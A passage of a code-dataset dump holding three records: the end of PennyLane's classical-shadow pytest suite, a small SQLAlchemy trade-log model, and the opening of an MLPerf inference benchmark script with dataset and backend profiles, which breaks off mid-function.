get_circuit(wires, shots, True)\n circuit.construct((), {})\n\n res = qml.execute([circuit.tape], circuit.device, None)[0]\n expected_shape = qml.classical_shadow(wires=range(wires)).shape(\n circuit.device, Shots(shots)\n )\n\n assert res.shape == expected_shape\n\n @pytest.mark.parametrize(\"seed\", seed_recipes_list)\n def test_measurement_process_copy(self, wires, seed):\n \"\"\"Test that the attributes of the MeasurementProcess instance are\n correctly copied\"\"\"\n res = qml.classical_shadow(wires=range(wires), seed=seed)\n\n copied_res = copy.copy(res)\n assert isinstance(copied_res, ClassicalShadowMP)\n assert copied_res.return_type == res.return_type\n assert copied_res.wires == res.wires\n assert copied_res.seed == res.seed\n\n @pytest.mark.all_interfaces\n @pytest.mark.parametrize(\"shots\", shots_list)\n @pytest.mark.parametrize(\"seed\", seed_recipes_list)\n @pytest.mark.parametrize(\"interface\", [\"autograd\", \"jax\", \"tf\", \"torch\"])\n @pytest.mark.parametrize(\"device\", [\"default.qubit\", \"default.mixed\"])\n def test_format(self, wires, shots, seed, interface, device):\n \"\"\"Test that the format of the returned classical shadow\n measurement is correct\"\"\"\n import tensorflow as tf\n import torch\n\n circuit = get_circuit(wires, shots, seed, interface, device)\n shadow = circuit()\n\n # test shape is correct\n assert shadow.shape == (2, shots, wires)\n\n # test dtype is correct\n expected_dtype = np.int8\n if interface == \"tf\":\n expected_dtype = tf.int8\n elif interface == \"torch\":\n expected_dtype = torch.int8\n\n assert shadow.dtype == expected_dtype\n\n bits, recipes = shadow # pylint: disable=unpacking-non-sequence\n\n # test allowed values of bits and recipes\n assert qml.math.all(np.logical_or(bits == 0, bits == 1))\n assert qml.math.all(np.logical_or(recipes == 0, np.logical_or(recipes == 1, recipes == 2)))\n\n @pytest.mark.all_interfaces\n @pytest.mark.parametrize(\"interface\", [\"autograd\", \"jax\", \"tf\", \"torch\"])\n @pytest.mark.parametrize(\n \"circuit_fn, basis_recipe\",\n [(get_x_basis_circuit, 0), (get_y_basis_circuit, 1), (get_z_basis_circuit, 2)],\n )\n def test_return_distribution(self, wires, interface, circuit_fn, basis_recipe):\n \"\"\"Test that the distribution of the bits and recipes are correct for a circuit\n that prepares all qubits in a Pauli basis\"\"\"\n # high number of shots to prevent true negatives\n np.random.seed(42)\n shots = 1000\n\n circuit = circuit_fn(wires, shots=shots, interface=interface)\n bits, recipes = circuit()\n\n # test that the recipes follow a rough uniform distribution\n ratios = np.unique(recipes, return_counts=True)[1] / (wires * shots)\n assert np.allclose(ratios, 1 / 3, atol=1e-1)\n\n # test that the bit is 0 for all X measurements\n assert qml.math.allequal(bits[recipes == basis_recipe], 0)\n\n # test that the bits are uniformly distributed for all Y and Z measurements\n bits1 = bits[recipes == (basis_recipe + 1) % 3]\n ratios1 = np.unique(bits1, return_counts=True)[1] / bits1.shape[0]\n assert np.allclose(ratios1, 1 / 2, atol=1e-1)\n\n bits2 = bits[recipes == (basis_recipe + 2) % 3]\n ratios2 = np.unique(bits2, return_counts=True)[1] / bits2.shape[0]\n assert np.allclose(ratios2, 1 / 2, atol=1e-1)\n\n @pytest.mark.parametrize(\"seed\", seed_recipes_list)\n def test_shots_none_error(self, wires, seed):\n \"\"\"Test that an error is raised when a device with shots=None is used\n to obtain classical shadows\"\"\"\n circuit = get_circuit(wires, None, seed)\n\n msg = \"not accepted for analytic simulation on default.qubit\"\n with pytest.raises(qml.DeviceError, match=msg):\n circuit()\n\n @pytest.mark.parametrize(\"shots\", shots_list)\n def test_multi_measurement_error(self, wires, shots):\n \"\"\"Test that an error is raised when classical shadows is returned\n with other measurement processes\"\"\"\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev)\n def circuit():\n qml.Hadamard(wires=0)\n\n for target in range(1, wires):\n qml.CNOT(wires=[0, target])\n\n return qml.classical_shadow(wires=range(wires)), qml.expval(qml.PauliZ(0))\n\n res = circuit()\n assert isinstance(res, tuple) and len(res) == 2\n assert qml.math.shape(res[0]) == (2, shots, wires)\n assert qml.math.shape(res[1]) == ()\n\n\ndef hadamard_circuit(wires, shots=10000, interface=\"autograd\"):\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit(obs, k=1):\n for i in range(wires):\n qml.Hadamard(wires=i)\n return qml.shadow_expval(obs, k=k)\n\n return circuit\n\n\ndef max_entangled_circuit(wires, shots=10000, interface=\"autograd\"):\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit(obs, k=1):\n qml.Hadamard(wires=0)\n for i in range(1, wires):\n qml.CNOT(wires=[0, i])\n return qml.shadow_expval(obs, k=k)\n\n return circuit\n\n\ndef qft_circuit(wires, shots=10000, interface=\"autograd\"):\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n one_state = np.zeros(wires)\n one_state[-1] = 1\n\n @qml.qnode(dev, interface=interface)\n def circuit(obs, k=1):\n qml.BasisState(one_state, wires=range(wires))\n qml.QFT(wires=range(wires))\n return qml.shadow_expval(obs, k=k)\n\n return circuit\n\n\n@pytest.mark.autograd\nclass TestExpvalMeasurement:\n def test_measurement_process_numeric_type(self):\n \"\"\"Test that the numeric type of the MeasurementProcess instance is correct\"\"\"\n H = qml.PauliZ(0)\n res = qml.shadow_expval(H)\n assert res.numeric_type == float\n\n @pytest.mark.parametrize(\"wires\", [1, 2])\n @pytest.mark.parametrize(\"shots\", [1, 10])\n def test_measurement_process_shape(self, wires, shots):\n \"\"\"Test that the shape of the MeasurementProcess instance is correct\"\"\"\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n H = qml.PauliZ(0)\n res = qml.shadow_expval(H)\n assert len(res.shape(dev, Shots(shots))) == 0\n\n def test_shape_matches(self):\n \"\"\"Test that the shape of the MeasurementProcess matches the shape\n of the tape execution\"\"\"\n wires = 2\n shots = 100\n H = qml.PauliZ(0)\n\n circuit = hadamard_circuit(wires, shots)\n circuit.construct((H,), {})\n\n res = qml.execute([circuit.tape], circuit.device, None)[0]\n expected_shape = qml.shadow_expval(H).shape(circuit.device, Shots(shots))\n\n assert res.shape == expected_shape\n\n def test_measurement_process_copy(self):\n \"\"\"Test that the attributes of the MeasurementProcess instance are\n correctly copied\"\"\"\n H = qml.PauliZ(0)\n res = qml.shadow_expval(H, k=10)\n\n copied_res = copy.copy(res)\n assert type(copied_res) == type(res) # pylint: disable=unidiomatic-typecheck\n assert copied_res.return_type == res.return_type\n assert qml.equal(copied_res.H, res.H)\n assert copied_res.k == res.k\n assert copied_res.seed == res.seed\n\n def test_shots_none_error(self):\n \"\"\"Test that an error is raised when a device with shots=None is used\n to obtain classical shadows\"\"\"\n circuit = hadamard_circuit(2, None)\n H = qml.PauliZ(0)\n\n msg = \"not accepted for analytic simulation on default.qubit\"\n with pytest.raises(qml.DeviceError, match=msg):\n _ = circuit(H, k=10)\n\n def test_multi_measurement_allowed(self):\n \"\"\"Test that no error is raised when classical shadows is returned\n with other measurement processes\"\"\"\n dev = qml.device(\"default.qubit\", wires=2, shots=10000)\n\n @qml.qnode(dev)\n def circuit():\n qml.Hadamard(wires=0)\n qml.CNOT(wires=[0, 1])\n return qml.shadow_expval(qml.PauliZ(0)), qml.expval(qml.PauliZ(0))\n\n res = circuit()\n assert isinstance(res, tuple)\n assert qml.math.allclose(res, 0, atol=0.05)\n\n def test_obs_not_queued(self):\n \"\"\"Test that the observable passed to qml.shadow_expval is not queued\"\"\"\n with qml.queuing.AnnotatedQueue() as q:\n qml.PauliY(0)\n qml.shadow_expval(qml.PauliZ(0))\n\n tape = qml.tape.QuantumScript.from_queue(q)\n assert len(tape.operations) == 1\n assert tape.operations[0].name == \"PauliY\"\n assert len(tape.measurements) == 1\n assert isinstance(tape.measurements[0], ShadowExpvalMP)\n\n\nobs_hadamard = [\n qml.PauliX(1),\n qml.PauliX(0) @ qml.PauliX(2),\n qml.PauliX(0) @ qml.Identity(1) @ qml.PauliX(2),\n qml.PauliY(2),\n qml.PauliY(1) @ qml.PauliZ(2),\n qml.PauliX(0) @ qml.PauliY(1),\n qml.PauliX(0) @ qml.PauliY(1) @ qml.Identity(2),\n]\nexpected_hadamard = [1, 1, 1, 0, 0, 0, 0]\n\nobs_max_entangled = [\n qml.PauliX(1),\n qml.PauliX(0) @ qml.PauliX(2),\n qml.PauliZ(2),\n qml.Identity(1) @ qml.PauliZ(2),\n qml.PauliZ(1) @ qml.PauliZ(2),\n qml.PauliX(0) @ qml.PauliY(1),\n qml.PauliX(0) @ qml.PauliY(1) @ qml.Identity(2),\n qml.PauliY(0) @ qml.PauliX(1) @ qml.PauliY(2),\n]\nexpected_max_entangled = [0, 0, 0, 0, 1, 0, 0, -1]\n\nobs_qft = [\n qml.PauliX(0),\n qml.PauliX(0) @ qml.PauliX(1),\n qml.PauliX(0) @ qml.PauliX(2),\n qml.PauliX(0) @ qml.Identity(1) @ qml.PauliX(2),\n qml.PauliZ(2),\n qml.PauliX(1) @ qml.PauliY(2),\n qml.PauliY(1) @ qml.PauliX(2),\n qml.Identity(0) @ qml.PauliY(1) @ qml.PauliX(2),\n qml.PauliX(0) @ qml.PauliY(1) @ qml.PauliY(2),\n qml.PauliY(0) @ qml.PauliX(1) @ qml.PauliX(2),\n]\nexpected_qft = [\n -1,\n 0,\n -1 / np.sqrt(2),\n -1 / np.sqrt(2),\n 0,\n 0,\n 1 / np.sqrt(2),\n 1 / np.sqrt(2),\n -1 / np.sqrt(2),\n 0,\n]\n\n\n@pytest.mark.autograd\nclass TestExpvalForward:\n \"\"\"Test the shadow_expval measurement process forward pass\"\"\"\n\n def test_hadamard_expval(self, k=1, obs=obs_hadamard, expected=expected_hadamard):\n \"\"\"Test that the expval estimation is correct for a uniform\n superposition of qubits\"\"\"\n circuit = hadamard_circuit(3, shots=100000)\n actual = circuit(obs, k=k)\n\n assert actual.shape == (len(obs_hadamard),)\n assert actual.dtype == np.float64\n assert qml.math.allclose(actual, expected, atol=1e-1)\n\n def test_max_entangled_expval(\n self, k=1, obs=obs_max_entangled, expected=expected_max_entangled\n ):\n \"\"\"Test that the expval estimation is correct for a maximally\n entangled state\"\"\"\n circuit = max_entangled_circuit(3, shots=100000)\n actual = circuit(obs, k=k)\n\n assert actual.shape == (len(obs_max_entangled),)\n assert actual.dtype == np.float64\n assert qml.math.allclose(actual, expected, atol=1e-1)\n\n def test_non_pauli_error(self):\n \"\"\"Test that an error is raised when a non-Pauli observable is passed\"\"\"\n circuit = hadamard_circuit(3)\n\n msg = \"Observable must be a linear combination of Pauli observables\"\n with pytest.raises(ValueError, match=msg):\n circuit(qml.Hadamard(0) @ qml.Hadamard(2))\n\n\n# pylint: disable=too-few-public-methods\n@pytest.mark.all_interfaces\nclass TestExpvalForwardInterfaces:\n @pytest.mark.parametrize(\"interface\", [\"autograd\", \"jax\", \"tf\", \"torch\"])\n def test_qft_expval(self, interface, k=1, obs=obs_qft, expected=expected_qft):\n \"\"\"Test that the expval estimation is correct for a QFT state\"\"\"\n import torch\n\n circuit = qft_circuit(3, shots=100000, interface=interface)\n actual = circuit(obs, k=k)\n\n assert actual.shape == (len(obs_qft),)\n assert actual.dtype == torch.float64 if interface == \"torch\" else np.float64\n assert qml.math.allclose(actual, expected, atol=1e-1)\n\n\nobs_strongly_entangled = [\n qml.PauliX(1),\n qml.PauliX(0) @ qml.PauliX(2),\n qml.PauliX(0) @ qml.Identity(1) @ qml.PauliX(2),\n qml.PauliY(2),\n qml.PauliY(1) @ qml.PauliZ(2),\n qml.PauliX(0) @ qml.PauliY(1),\n qml.PauliX(0) @ qml.PauliY(1) @ qml.Identity(2),\n]\n\n\ndef strongly_entangling_circuit(wires, shots=10000, interface=\"autograd\"):\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit(x, obs, k):\n qml.StronglyEntanglingLayers(weights=x, wires=range(wires))\n return qml.shadow_expval(obs, k=k)\n\n return circuit\n\n\ndef strongly_entangling_circuit_exact(wires, interface=\"autograd\"):\n dev = qml.device(\"default.qubit\", wires=wires)\n\n @qml.qnode(dev, interface=interface)\n def circuit(x, obs):\n qml.StronglyEntanglingLayers(weights=x, wires=range(wires))\n return [qml.expval(o) for o in obs]\n\n return circuit\n\n\nclass TestExpvalBackward:\n \"\"\"Test the shadow_expval measurement process backward pass\"\"\"\n\n @pytest.mark.autograd\n def test_backward_autograd(self, obs=obs_strongly_entangled):\n \"\"\"Test that the gradient of the expval estimation is correct for\n the autograd interface\"\"\"\n shadow_circuit = strongly_entangling_circuit(3, shots=20000, interface=\"autograd\")\n exact_circuit = strongly_entangling_circuit_exact(3, \"autograd\")\n\n def cost_exact(x, obs):\n return autograd.numpy.hstack(exact_circuit(x, obs))\n\n # make rotations close to pi / 2 to ensure gradients are not too small\n x = np.random.uniform(\n 0.8, 2, size=qml.StronglyEntanglingLayers.shape(n_layers=2, n_wires=3)\n )\n actual = qml.jacobian(shadow_circuit)(x, obs, k=1)\n expected = qml.jacobian(cost_exact, argnum=0)(x, obs)\n\n assert qml.math.allclose(actual, expected, atol=1e-1)\n\n @pytest.mark.jax\n def test_backward_jax(self, obs=obs_strongly_entangled):\n \"\"\"Test that the gradient of the expval estimation is correct for\n the jax interface\"\"\"\n import jax\n from jax import numpy as jnp\n\n shadow_circuit = strongly_entangling_circuit(3, shots=20000, interface=\"jax\")\n exact_circuit = strongly_entangling_circuit_exact(3, \"jax\")\n\n # make rotations close to pi / 2 to ensure gradients are not too small\n x = jnp.array(\n np.random.uniform(\n 0.8, 2, size=qml.StronglyEntanglingLayers.shape(n_layers=2, n_wires=3)\n )\n )\n\n actual = jax.jacrev(shadow_circuit)(x, obs, k=1)\n expected = jax.jacrev(exact_circuit)(x, obs)\n\n assert qml.math.allclose(actual, expected, atol=1e-1)\n\n @pytest.mark.tf\n def test_backward_tf(self, obs=obs_strongly_entangled):\n \"\"\"Test that the gradient of the expval estimation is correct for\n the tensorflow interface\"\"\"\n import tensorflow as tf\n\n shadow_circuit = strongly_entangling_circuit(3, shots=20000, interface=\"tf\")\n exact_circuit = strongly_entangling_circuit_exact(3, \"tf\")\n\n # make rotations close to pi / 2 to ensure gradients are not too small\n x = tf.Variable(\n np.random.uniform(\n 0.8, 2, size=qml.StronglyEntanglingLayers.shape(n_layers=2, n_wires=3)\n )\n )\n\n with tf.GradientTape() as tape:\n out = shadow_circuit(x, obs, k=10)\n\n actual = tape.jacobian(out, x)\n\n with tf.GradientTape() as tape2:\n out2 = qml.math.hstack(exact_circuit(x, obs))\n\n expected = tape2.jacobian(out2, x)\n\n assert qml.math.allclose(actual, expected, atol=1e-1)\n\n @pytest.mark.torch\n def test_backward_torch(self, obs=obs_strongly_entangled):\n \"\"\"Test that the gradient of the expval estimation is correct for\n the pytorch interface\"\"\"\n import torch\n\n shadow_circuit = strongly_entangling_circuit(3, shots=20000, interface=\"torch\")\n exact_circuit = strongly_entangling_circuit_exact(3, \"torch\")\n\n # make rotations close to pi / 2 to ensure gradients are not too small\n x = torch.tensor(\n np.random.uniform(\n 0.8, 2, size=qml.StronglyEntanglingLayers.shape(n_layers=2, n_wires=3)\n ),\n requires_grad=True,\n )\n\n actual = torch.autograd.functional.jacobian(lambda x: shadow_circuit(x, obs, k=10), x)\n expected = torch.autograd.functional.jacobian(lambda x: tuple(exact_circuit(x, obs)), x)\n\n assert qml.math.allclose(actual, qml.math.stack(expected), atol=1e-1)\n","repo_name":"PennyLaneAI/pennylane","sub_path":"tests/measurements/test_classical_shadow.py","file_name":"test_classical_shadow.py","file_ext":"py","file_size_in_byte":25628,"program_lang":"python","lang":"en","doc_type":"code","stars":1965,"dataset":"github-code","pt":"52"} +{"seq_id":"1083737732","text":"#!/usr/bin/env python\n# coding=utf-8\nimport json\n\nfrom sqlalchemy import Column, ForeignKey\nfrom sqlalchemy.dialects.mysql import TINYINT, VARCHAR, INTEGER, TEXT\n\nimport util\nfrom models import BaseModel\n\n\nclass LogTradeMgr(object):\n @staticmethod\n def add(db, **kwargs):\n # We need to hash down the payload if there is one.\n if 'payload' in kwargs and kwargs['payload'] is not None:\n kwargs['payload'] = json.dumps(dict(kwargs.get('payload')))\n\n kwargs[\"inserted_at\"] = util.utcnow()\n log_trade = LogTrade(**kwargs)\n db.add(log_trade)\n db.commit()\n\n\nclass LogTrade(BaseModel):\n __tablename__ = 'log_trade'\n\n id = Column(INTEGER, autoincrement=True, primary_key=True)\n trade_id = Column(VARCHAR(64), nullable=False)\n component = Column(VARCHAR(50), nullable=False)\n payload = Column(TEXT)\n inserted_at = Column(INTEGER, nullable=False)","repo_name":"zivsu/alipay","sub_path":"alipay/models/logtrade.py","file_name":"logtrade.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21186823270","text":"\"\"\"\nmlperf inference benchmarking tool\n\"\"\"\n\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport argparse\nimport json\nimport logging\nimport os\nimport time\nimport sys\n\nimport tqdm\nimport numpy as np\n\nimport dataset\nimport imagenet\nimport coco\n\nfrom more_itertools import chunked\n\nlogging.basicConfig(level=logging.INFO)\nlog = logging.getLogger(\"main\")\n\nNANO_SEC = 1e9\nMILLI_SEC = 1000\n\n# pylint: disable=missing-docstring\n\n# the datasets we support\nSUPPORTED_DATASETS = {\n \"imagenet\": (\n imagenet.Imagenet,\n dataset.pre_process_vgg,\n dataset.PostProcessCommon(offset=0),\n {\"image_size\": [224, 224, 3]},\n ),\n \"imagenet_mobilenet\": (\n imagenet.Imagenet,\n dataset.pre_process_mobilenet,\n dataset.PostProcessArgMax(offset=-1),\n {\"image_size\": [224, 224, 3]},\n ),\n \"imagenet_pytorch\": (\n imagenet.Imagenet,\n dataset.pre_process_imagenet_pytorch,\n dataset.PostProcessArgMax(offset=0),\n {\"image_size\": [224, 224, 3]},\n ),\n \"coco-300\": (\n coco.Coco,\n dataset.pre_process_coco_mobilenet,\n coco.PostProcessCoco(),\n {\"image_size\": [300, 300, 3]},\n ),\n \"coco-300-pt\": (\n coco.Coco,\n dataset.pre_process_coco_pt_mobilenet,\n coco.PostProcessCocoPt(False, 0.3),\n {\"image_size\": [300, 300, 3]},\n ),\n \"coco-1200\": (\n coco.Coco,\n dataset.pre_process_coco_resnet34,\n coco.PostProcessCoco(),\n {\"image_size\": [1200, 1200, 3]},\n ),\n \"coco-1200-onnx\": (\n coco.Coco,\n dataset.pre_process_coco_resnet34,\n coco.PostProcessCocoPt(True, 0.05),\n {\"image_size\": [1200, 1200, 3], \"use_label_map\": True},\n ),\n \"coco-1200-pt\": (\n coco.Coco,\n dataset.pre_process_coco_resnet34,\n coco.PostProcessCocoPt(True, 0.05),\n {\"image_size\": [1200, 1200, 3], \"use_label_map\": True},\n ),\n \"coco-1200-tf\": (\n coco.Coco,\n dataset.pre_process_coco_resnet34,\n coco.PostProcessCocoTf(),\n {\"image_size\": [1200, 1200, 3], \"use_label_map\": False},\n ),\n #\n # furiosa golden pre/post-process\n #\n \"imagenet-golden\": (\n imagenet.Imagenet,\n dataset.pre_process_vgg,\n dataset.PostProcessArgMax(offset=0),\n {\"image_size\": [224, 224, 3]},\n ),\n \"coco-300-golden\": (\n coco.Coco,\n dataset.pre_process_coco_pt_mobilenet,\n coco.PostProcessCocoSSDMobileNetORT(False, 0.3),\n {\"image_size\": [300, 300, 3]},\n ),\n \"coco-1200-golden\": (\n coco.Coco,\n dataset.pre_process_coco_resnet34,\n coco.PostProcessCocoONNXNP(),\n {\"image_size\": [1200, 1200, 3], \"use_label_map\": False},\n ),\n}\n# pre-defined command line options so simplify things. They are used as defaults and can be\n# overwritten from command line\n\nSUPPORTED_PROFILES = {\n \"defaults\": {\n \"dataset\": \"imagenet\",\n \"backend\": \"tensorflow\",\n \"cache\": 0,\n \"max-batchsize\": 32,\n },\n # resnet\n \"resnet50-tf\": {\n \"inputs\": \"input_tensor:0\",\n \"outputs\": \"ArgMax:0\",\n \"dataset\": \"imagenet\",\n \"backend\": \"tensorflow\",\n \"model-name\": \"resnet50\",\n },\n \"resnet50-onnxruntime\": {\n \"dataset\": \"imagenet\",\n \"outputs\": \"ArgMax:0\",\n \"backend\": \"onnxruntime\",\n \"model-name\": \"resnet50\",\n },\n # mobilenet\n \"mobilenet-tf\": {\n \"inputs\": \"input:0\",\n \"outputs\": \"MobilenetV1/Predictions/Reshape_1:0\",\n \"dataset\": \"imagenet_mobilenet\",\n \"backend\": \"tensorflow\",\n \"model-name\": \"mobilenet\",\n },\n \"mobilenet-onnxruntime\": {\n \"dataset\": \"imagenet_mobilenet\",\n \"outputs\": \"MobilenetV1/Predictions/Reshape_1:0\",\n \"backend\": \"onnxruntime\",\n \"model-name\": \"mobilenet\",\n },\n # ssd-mobilenet\n \"ssd-mobilenet-tf\": {\n \"inputs\": \"image_tensor:0\",\n \"outputs\": \"num_detections:0,detection_boxes:0,detection_scores:0,detection_classes:0\",\n \"dataset\": \"coco-300\",\n \"backend\": \"tensorflow\",\n \"model-name\": \"ssd-mobilenet\",\n },\n \"ssd-mobilenet-pytorch\": {\n \"inputs\": \"image\",\n \"outputs\": \"bboxes,labels,scores\",\n \"dataset\": \"coco-300-pt\",\n \"backend\": \"pytorch-native\",\n \"model-name\": \"ssd-mobilenet\",\n },\n \"ssd-mobilenet-onnxruntime\": {\n \"dataset\": \"coco-300\",\n \"outputs\": \"num_detections:0,detection_boxes:0,detection_scores:0,detection_classes:0\",\n \"backend\": \"onnxruntime\",\n \"data-format\": \"NHWC\",\n \"model-name\": \"ssd-mobilenet\",\n },\n # ssd-resnet34\n \"ssd-resnet34-tf\": {\n \"inputs\": \"image:0\",\n \"outputs\": \"detection_bboxes:0,detection_classes:0,detection_scores:0\",\n \"dataset\": \"coco-1200-tf\",\n \"backend\": \"tensorflow\",\n \"data-format\": \"NCHW\",\n \"model-name\": \"ssd-resnet34\",\n },\n \"ssd-resnet34-pytorch\": {\n \"inputs\": \"image\",\n \"outputs\": \"bboxes,labels,scores\",\n \"dataset\": \"coco-1200-pt\",\n \"backend\": \"pytorch-native\",\n \"model-name\": \"ssd-resnet34\",\n },\n \"ssd-resnet34-onnxruntime\": {\n \"dataset\": \"coco-1200-onnx\",\n \"inputs\": \"image\",\n \"outputs\": \"bboxes,labels,scores\",\n \"backend\": \"onnxruntime\",\n \"data-format\": \"NCHW\",\n \"max-batchsize\": 1,\n \"model-name\": \"ssd-resnet34\",\n },\n \"ssd-resnet34-onnxruntime-tf\": {\n \"dataset\": \"coco-1200-tf\",\n \"inputs\": \"image:0\",\n \"outputs\": \"detection_bboxes:0,detection_classes:0,detection_scores:0\",\n \"backend\": \"onnxruntime\",\n \"data-format\": \"NCHW\",\n \"model-name\": \"ssd-resnet34\",\n },\n #\n # furiosa golden model setting\n #\n \"ssd-resnet-golden\": {\n \"dataset\": \"imagenet-golden\",\n \"backend\": \"onnxruntime\",\n \"model-name\": \"resnet50\",\n },\n \"ssd-mobilenet-golden\": {\n \"dataset\": \"coco-300-golden\",\n \"backend\": \"onnxruntime\",\n \"data-format\": \"NCHW\",\n \"model-name\": \"ssd-mobilenet\",\n },\n \"ssd-resnet34-golden\": {\n \"dataset\": \"coco-1200-golden\",\n \"backend\": \"onnxruntime\",\n \"data-format\": \"NCHW\",\n \"model-name\": \"ssd-resnet34\",\n },\n #\n # furiosa npu runtime backend setting\n #\n \"resnet-golden-npu-legacy\": {\n \"inputs\": \"input_tensor:0\",\n \"outputs\": \"resnet_model/Squeeze:0_fused_dequantized\",\n \"dataset\": \"imagenet-golden\",\n \"backend\": \"npuruntime\",\n \"model-name\": \"resnet50\",\n },\n \"ssd-mobilenet-golden-npu-legacy\": {\n \"inputs\": \"image\",\n \"outputs\": \"class_logit_0_dequantized,class_logit_1_dequantized,class_logit_2_dequantized,\"\n \"class_logit_3_dequantized,class_logit_4_dequantized,class_logit_5_dequantized,\"\n \"box_regression_0_dequantized,box_regression_1_dequantized,box_regression_2_dequantized,\"\n \"box_regression_3_dequantized,box_regression_4_dequantized,box_regression_5_dequantized,\",\n \"dataset\": \"coco-300-golden\",\n \"backend\": \"npuruntime\",\n \"data-format\": \"NCHW\",\n \"model-name\": \"ssd-mobilenet\",\n },\n \"ssd-resnet34-golden-npu-legacy\": {\n \"inputs\": \"image:0\",\n \"outputs\": \"ssd1200/multibox_head/cls_0/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/cls_1/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/cls_2/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/cls_3/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/cls_4/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/cls_5/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/loc_0/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/loc_1/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/loc_2/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/loc_3/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/loc_4/BiasAdd:0_dequantized,\"\n \"ssd1200/multibox_head/loc_5/BiasAdd:0_dequantized\",\n \"dataset\": \"coco-1200-golden\",\n \"backend\": \"npuruntime\",\n \"data-format\": \"NCHW\",\n \"model-name\": \"ssd-resnet34\",\n },\n}\n\nlast_timeing = []\n\n\ndef get_args():\n \"\"\"Parse commandline.\"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--dataset\", choices=SUPPORTED_DATASETS.keys(), help=\"dataset\")\n parser.add_argument(\"--dataset-path\", required=True, help=\"path to the dataset\")\n parser.add_argument(\"--dataset-list\", help=\"path to the dataset list\")\n parser.add_argument(\"--data-format\", choices=[\"NCHW\", \"NHWC\"], help=\"data format\")\n parser.add_argument(\"--profile\", choices=SUPPORTED_PROFILES.keys(), help=\"standard profiles\")\n parser.add_argument(\n \"-b\", \"--max-batchsize\", default=1, type=int, help=\"max batch size in a single inference\"\n )\n parser.add_argument(\"--model\", required=True, help=\"model file\")\n parser.add_argument(\"--output\", default=\"eval_result\", help=\"test results\")\n parser.add_argument(\"--inputs\", help=\"model inputs\")\n parser.add_argument(\"--outputs\", help=\"model outputs\")\n parser.add_argument(\"--backend\", help=\"runtime to use\")\n parser.add_argument(\"--model-name\", help=\"name of the mlperf model, ie. resnet50\")\n parser.add_argument(\"--threads\", default=os.cpu_count(), type=int, help=\"threads\")\n parser.add_argument(\"--qps\", type=int, help=\"target qps\")\n parser.add_argument(\"--cache\", type=int, default=0, help=\"use cache\")\n parser.add_argument(\n \"--cache_dir\", type=str, default=None, help=\"path to save preprocessed dataset\"\n )\n parser.add_argument(\n \"--accuracy\", default=True, action=\"store_true\", help=\"enable accuracy pass\"\n )\n parser.add_argument(\n \"--find-peak-performance\", action=\"store_true\", help=\"enable finding peak performance pass\"\n )\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"debug, turn traces on\")\n\n # file to use mlperf rules compliant parameters\n parser.add_argument(\"--mlperf_conf\", default=\"../../mlperf.conf\", help=\"mlperf rules config\")\n # file for user LoadGen settings such as target QPS\n parser.add_argument(\n \"--user_conf\",\n default=\"user.conf\",\n help=\"user config for user LoadGen settings such as target QPS\",\n )\n\n # below will override mlperf rules compliant settings - don't use for official submission\n parser.add_argument(\"--time\", type=int, help=\"time to scan in seconds\")\n parser.add_argument(\"-n\", \"--count\", type=int, help=\"dataset items to use\")\n parser.add_argument(\"--max-latency\", type=float, help=\"mlperf max latency in pct tile\")\n parser.add_argument(\n \"--samples-per-query\", type=int, help=\"mlperf multi-stream sample per query\"\n )\n args = parser.parse_args()\n\n # don't use defaults in argparser. Instead we default to a dict, override that with a profile\n # and take this as default unless command line give\n defaults = SUPPORTED_PROFILES[\"defaults\"]\n\n if args.profile:\n profile = SUPPORTED_PROFILES[args.profile]\n defaults.update(profile)\n for k, v in defaults.items():\n kc = k.replace(\"-\", \"_\")\n if getattr(args, kc) is None:\n setattr(args, kc, v)\n if args.inputs:\n args.inputs = args.inputs.split(\",\")\n if args.outputs:\n args.outputs = args.outputs.split(\",\")\n\n return args\n\n\ndef get_backend(backend):\n if backend == \"tensorflow\":\n from backend_tf import BackendTensorflow\n\n backend = BackendTensorflow()\n elif backend == \"onnxruntime\":\n from backend_onnxruntime import BackendOnnxruntime\n\n backend = BackendOnnxruntime()\n elif backend == \"null\":\n from backend_null import BackendNull\n\n backend = BackendNull()\n elif backend == \"pytorch\":\n from backend_pytorch import BackendPytorch\n\n backend = BackendPytorch()\n elif backend == \"pytorch-native\":\n from backend_pytorch_native import BackendPytorchNative\n\n backend = BackendPytorchNative()\n elif backend == \"tflite\":\n from backend_tflite import BackendTflite\n\n backend = BackendTflite()\n elif backend == \"npuruntime\":\n from backend_npuruntime import BackendNPURuntime\n\n backend = BackendNPURuntime()\n else:\n raise ValueError(\"unknown backend: \" + backend)\n return backend\n\n\nclass Item:\n \"\"\"An item that we queue for processing by the thread pool.\"\"\"\n\n def __init__(self, query_id, content_id, img, label=None):\n self.query_id = query_id\n self.content_id = content_id\n self.img = img\n self.label = label\n self.start = time.time()\n\n\nclass RunnerBase:\n def __init__(self, model, ds, threads, post_proc=None, max_batchsize=128):\n self.take_accuracy = False\n self.ds = ds\n self.model = model\n self.post_process = post_proc\n self.threads = threads\n self.take_accuracy = False\n self.max_batchsize = max_batchsize\n self.result_timing = []\n\n def handle_tasks(self, tasks_queue):\n pass\n\n def start_run(self, result_dict, take_accuracy):\n self.result_dict = result_dict\n self.result_timing = []\n self.take_accuracy = take_accuracy\n self.post_process.start()\n\n def run_one_item(self, qitem):\n 